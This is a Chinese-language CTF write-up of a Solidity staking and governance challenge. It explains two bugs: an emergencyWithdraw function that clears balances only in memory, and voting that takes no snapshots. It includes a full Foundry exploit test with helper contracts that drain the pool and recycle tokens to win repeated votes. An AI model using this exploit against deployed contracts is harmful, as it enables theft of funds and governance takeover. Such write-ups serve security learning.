08.challenge
2023-07-28 19:25:50 # 16.CBSC 2022

06.challenge

分析

1.全局观

三部分:

  • interface.sol:接口
  • Masterchef.sol:
    • 虽然代码很多,其实就只有MasterChef合约需要关注,因为像Ownable, ERC20这种东西一般是不会出考点出问题的
    • MasterChef本身便是一个ERC20代币
    • 有空投机制
    • 有owner转让机制
    • 质押代币到池子中,可以有很多个池子。计算利润,计算比较复杂,不懂没问题。池子中质押的金额有好几个方法都是与计算有关,更新池子数据的
    • 一个质押存款函数,两个取款函数
  • Governance.sol
    • 治理合约,在Masterchef合约中拥有的代币数目可以进行投票
    • 身份权限机制
    • 题目初始化

总的来说,就是质押有关的题目,质押生息,获得代币,足量的代币可以成为owner和进行投票,投票数额到达一定量才可以通过

2.任务

我们需要拥有超过代币总发行量2/3的投票数

1
2
3
4
5
6
7
8
9
10
11
12
// 成为Validator:至少需要代币总发行量的2/3
function setValidator() public {
uint256 votingSupply = masterChef.totalSupply() * 2 / 3;
require(validatorVotes[msg.sender] >= votingSupply);
ValidatorOwner = msg.sender;
}

// 任务:成为Validator
function setflag() public onlyValidatorOwner {
Flag = true;
emit Sendflag(Flag);
}

3.分析

首先有空投,那么我们可以领取完所有的代币1000:

1
2
3
4
5
function airdorp() public {
require(aridorplimit < 1000,"");
_mint(msg.sender,1);
aridorplimit = aridorplimit + 1;
}

这么少代币显然不够,我们必须得想法法搞多点:

  • 质押生息?要等区块,并且一个区块生息的数目不好算,我也看的不是很懂,并且无法控制区块的进度,这条路走不通
  • 存取款是否有毛病?质押看起来没啥毛病,取款呢?普通取款没啥问题,但是看一下紧急取款emergencyWithdraw()(没利息):我们的质押数额扣除是在memory,但是增加是在storage,那么这样我们就可以无限的取款了,知道掏空合约中的所有钱
1
2
3
4
5
6
7
8
9
10
11
12
function emergencyWithdraw(uint256 _pid) public {
// memory意味着不会修改任何storage数据
PoolInfo memory pool = poolInfo[_pid];
UserInfo memory user = userInfo[_pid][msg.sender];
// 用户拿到了取款
this.transfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
// 更新用户个人资产信息
pool.totalstake -= user.amount;
user.amount = 0;
user.rewardDebt = 0;
}

我们掏空合约的所有钱 10_000_000,就算投票也是不够总数额100_000_000+10_000_000的三分之二的。因此,还要想办法再搞多点钱。但是剩下的钱都在合约部署者身上,我们无法拿走,因此转向能不能拿多点投票数?

一般的项目都是使用snapshot来进行拍照记录投票数,但是本题没使用,似乎可以无限投票?那么我投完票之后,可以把钱给别人,然后别人也可以投票呀!因此,我们创建几个傀儡账户,轮番使用我们10_000_000金额进行投票给我,想要多少票都可以哈哈

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2; // 不加这个会报错,原因如下:https://github.com/foundry-rs/foundry/issues/4376

import "forge-std/Test.sol";
import "../../src/08.challenge/Governance.sol";

contract attackTest is Test {
Governance public governance;
MasterChef public masterChef;
Helper[10] public helpers;
uint256 constant ALLMONEY = 10000000;

function setUp() public{
governance = new Governance("level");
masterChef = governance.masterChef();
}

function test_isComplete() public{
// 拿走全部空投
for(uint i = 0; i < 1000; i++){
masterChef.airdorp();
}
assertEq(masterChef.balanceOf(address(this)),1000);
// 存款: 存到第一个池子。此时我们token的余额为0,但是质押了1000个代币
masterChef.approve(address(masterChef), 1000);
masterChef.deposit(0, 1000);
// emergencyWithdraw漏洞:拿走合约中所有的钱
// 10000000 / 1000 = 10000
for(uint i = 0; i < 10000; i++){
masterChef.emergencyWithdraw(0);
}
// 检查是否拿完了合约中的所有钱
assertEq(masterChef.balanceOf(address(this)),ALLMONEY);
// 我们有了足够的钱,可以成为owner了
masterChef.transferOwnership(address(this));
assertEq(masterChef.owner(),address(this));
// 成为了owner之后就可以投票了,但是只能投票一次
governance.vote(address(this));
// 创建10个Helper来帮助我们获得更多的投票
for(uint i = 0; i < 10; i++){
helpers[i] = new Helper(address(masterChef), address(governance));
}
// 10个Helper继承我们金钱,然后继续投票给我
for(uint i = 0; i < 10; i++){
// 转钱到Helper
masterChef.transfer(address(helpers[i]),ALLMONEY);
// 用Helper帮助我们投票
helpers[i].help(address(this));
}
// 检查是否大于2/3的投票
assertGt(governance.validatorVotes(address(this)),masterChef.totalSupply() * 2 / 3);
governance.setValidator();
governance.setflag();
}

}

contract Helper{
MasterChef masterChef;
Governance governance;
uint256 constant ALLMONEY = 10000000;

constructor(address _masterChef,address _governance)public{
masterChef = MasterChef(_masterChef);
governance = Governance(_governance);
}

function help(address _addr) public{
// Helper有钱之后就可以成为Owner
masterChef.transferOwnership(address(this));
// 成为owner之后就给本合约投票
governance.vote(_addr);
// 投完票之后把钱给回本合约
masterChef.transfer(_addr, ALLMONEY);
}
}